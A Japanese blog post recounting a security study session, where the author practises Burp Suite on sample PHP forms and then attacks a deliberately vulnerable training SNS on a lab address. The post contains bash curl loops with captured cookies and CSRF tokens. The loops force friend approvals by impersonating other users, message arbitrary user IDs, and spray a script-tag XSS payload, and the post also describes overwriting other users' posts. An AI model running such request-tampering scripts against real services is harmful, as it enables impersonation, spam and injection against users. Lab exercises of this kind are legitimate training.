分散システムとポエム

第10回 MBSD セキュリティ勉強会に参加した

三井物産セキュアディレクションが主催の勉強会に参加したのでメモ。

余裕を持って出かけたはずが、会場を間違えたり溜池山王に着いてからも道に迷ったりした結果、遅刻してしまった。(ごめんなさい)

BurpSuiteの使い方

簡易的な脆弱性なWebアプリケーションをBurpSuiteでテストしてみることをした。

脆弱なアプリにはform1とform2がありそれぞれhttpのGETメソッドとPOSTメソッドを使っている。

擬似的に同様のアプリを作ってみた。

form1

form1は好きな動物を選択して送信すると、送信した結果と対応したvalueが出力される。これをBurpSuiteで書き換えて送信することで任意の文字列を出力することができる。また、GETメソッドであるため送信されたページのパラメータを直接書き換えることでも可能。

選択ページ
結果ページ
結果ページ
<html>
<head>
<title>form1</title>
</head>
<body>
<?php
if(isset($_GET['animal'])){

    echo htmlspecialchars($_GET['animal'], ENT_QUOTES)."好きな人ですね。";

}else{

    echo <<< EOF
好きな動物を選んでください.
<br>
<form action="form1.php">
<select name="animal">
<option value="cat">ネコ</option>
<option value="dog">ドッグ</option>
</select>
<br>
<button type="submit">送信</button>
</form>
EOF;

}
?>
</html>

form2

form2は一覧から食べ物を選択して送信すると金額が出力されるというアプリケーション。

選択ページ
集計ページ
集計ページ
<html>
<head>
<title>form2</title>
</head>
<body>
<?php
if(isset($_POST['price'])){

    echo "合計で".htmlspecialchars($_POST['price'], ENT_QUOTES)."円です。";

}else{

    echo <<< EOF
<form action="form2.php" method="post">
どれを購入しますか?<br>
<input type="radio" name="price" value="100">おにぎり  ¥100円<br>
<input type="radio" name="price" value="500">かけそば  ¥500円<br>
<input type="radio" name="price" value="1000">天ぷらそば ¥1000円<br>
<button type="submit">送信</button>
</form>
EOF;

}
?>

</html>

SNS

脆弱性のあるSNSがあり参加者は適宜、アカウント登録をする形式になっている。このSNSには日記投稿、フレンド関係、メッセージ(メール)機能などがある。今回はこのSNSに存在する3つの脆弱性を突いて攻撃をしてみるというテーマだった。

1. 相手の同意なく友達になる

このSNSは友達機能があり友達にしかメッセージが送れないなど制限のかかる仕組みに(一応)なっている。友達になるにはユーザ一覧から友達申請を送信して、相手が承認すれば友だちになれる。今回はこの相手の承認無しで友達になれる脆弱性を突いて全員と友達になってみた。

任意の相手に対する友達申請リクエストを送信して、その相手になりすまして承認リクエストを送信するスクリプトを作成して実行した。

for hoge in {1..100}
do
    curl "http://192.168.1.80/webmix3/user.php?id=$hoge" 
    -H 'Cookie: PHPSESSID=3ctt8dac722r6mbtrsr171ldh5' 
    -H 'Origin: http://192.168.1.80' 
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' 
    -H 'Content-Type: application/x-www-form-urlencoded' 
    -H 'Referer: http://192.168.1.80' 
    --data 'type=1&to_id=8&csrf_token=0aa7c2560bfab32cbf1f715311a2f1626508d488' 
    --compressed 2>1 >/dev/null
    curl 'http://192.168.1.80/webmix3/index.php' 
    -H 'Cookie: PHPSESSID=l09gelmo5c3n3bagv85n0as727' 
    -H 'Origin: http://192.168.1.80' 
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' 
    -H 'Content-Type: application/x-www-form-urlencoded' 
    -H 'Referer: http://192.168.1.80/webmix3/index.php' 
    --data "type=1&from_id=$hoge" 
    --compressed
done

2. 友達以外にもメッセージを送る

このSNSは友達以外にはメッセージが送信できない仕組みになっている。しかし、友達以外にも送信できる脆弱性が存在している。この脆弱性を利用して友達以外にメッセージを送信してみる。

受信メッセージ一覧

通常の挙動はメッセージ送信ページにある友達一覧にある名前の相手にしか送信できない。しかし、脆弱性を利用することで任意の相手にメッセージを送信することができる。

このアプリのメッセージ送信はGETメソッドで与えられたto_id=の値で「宛先のユーザID」を、title=で「メッセージの件名」を、message=で「メッセージの本文」を指定している。よってこれらを任意の文字列に書き換えることで任意のパケットを送信する事ができる。

メッセージ・パケット

今回はまず、Google Chromeの開発者ツールのNetworkタブを開きながら送信ページにアクセスしてメッセージを適当な相手に送信した。次にそのhttpリクエストにカーソルをあわせてショートカットキーメニューからCopy -> Copy as cURLを選択。これをターミナルに貼り付けることでターミナルからブラウザと同様のパケットを送信することが出来る。

さらに、これを連番になっていると考えられる任意のユーザIDのユーザに送信してみる。まず、IDは自然数で与えられていると推測される。また、先程のパケット内で宛先にあたるのはto_id=で指定されていたので、これを変数で置き換えれば良いと考えられる。

よって、これをBashのforで繰り返すことで実現した。実行したコードは以下(一部簡略化)。

(1)メッセージ送信「hello world」

for hoge in {1..100}
do
    echo $hoge
    curl 'http://192.168.1.80/webmix3/sendmail.php' 
    -H 'Cookie: PHPSESSID=7hm9l9blhtjpqhiq6453fa1se7' 
    -H 'Origin: http://192.168.1.80' 
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' 
    -H 'Content-Type: application/x-www-form-urlencoded' 
    -H 'Referer: http://192.168.1.80/webmix3/sendmail.php' -H 'Connection: keep-alive' 
    --data  "csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62&to_id=$hoge&title=hello&message=hello+world" 
    --compressed
done

(2)メッセージ送信「XSS」

for hoge in {1..100}
do
    echo $hoge
    curl 'http://192.168.1.80/webmix3/sendmail.php' 
    -H 'Cookie: PHPSESSID=7hm9l9blhtjpqhiq6453fa1se7' 
    -H 'Origin: http://192.168.1.80' 
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' 
    -H 'Content-Type: application/x-www-form-urlencoded' 
    -H 'Referer: http://192.168.1.80/webmix3/sendmail.php' 
    --data "csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62&to_id=$hoge&title=this_is_xss&message=<script>alert();</script>&csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62" 
    --compressed
done

3. ブログ記事を書き換え

SNS内にはブログ機能もあり、公開記事であってもSNSの登録ユーザしか見れない。記事には公開、フレンドのみ公開、下書き(非公開)が設定できる。このブログ機能には記事を他のユーザから書き換えられる脆弱性が存在している。

SNSのブログ記事を表示する処理には問題がない。脆弱性はブログ記事を編集(削除)する機能にある。編集機能は修正した記事をサーバへ送信する際にhttpリクエスト(POST)を使用する。このリクエストを改ざんすることで任意の記事(自分以外を含む)を上書きが出来てしまう。具体的にはid=がブログ記事に振られる識別子で、mode=が状態(編集、削除)を表す。また、title=content=はそれぞれ記事のタイトルと本文を、mode=は公開状態を表す。

ブログ記事の書き換え

まとめ

同じサイト内でもその機能に脆弱性があるか見極めるのが難しかった。2つ目をcurlで自動化できたのは面白かった。3つ目でPOSTが出てきて手間取ってしまった…。curlでPOSTを投げることが出来るのは知っていたが、chromeの開発者ツールからコピーが出来ないのが以外だった。これはPythonあたりで自作したい。

懇親会でプロの話を聞けたのが面白かった。特に、脆弱性診断の現場で行われていることを知れたのは良かった。けものフレンズ見ている人が多くてやっぱり感があった。(フレンズによって得意なこと(ry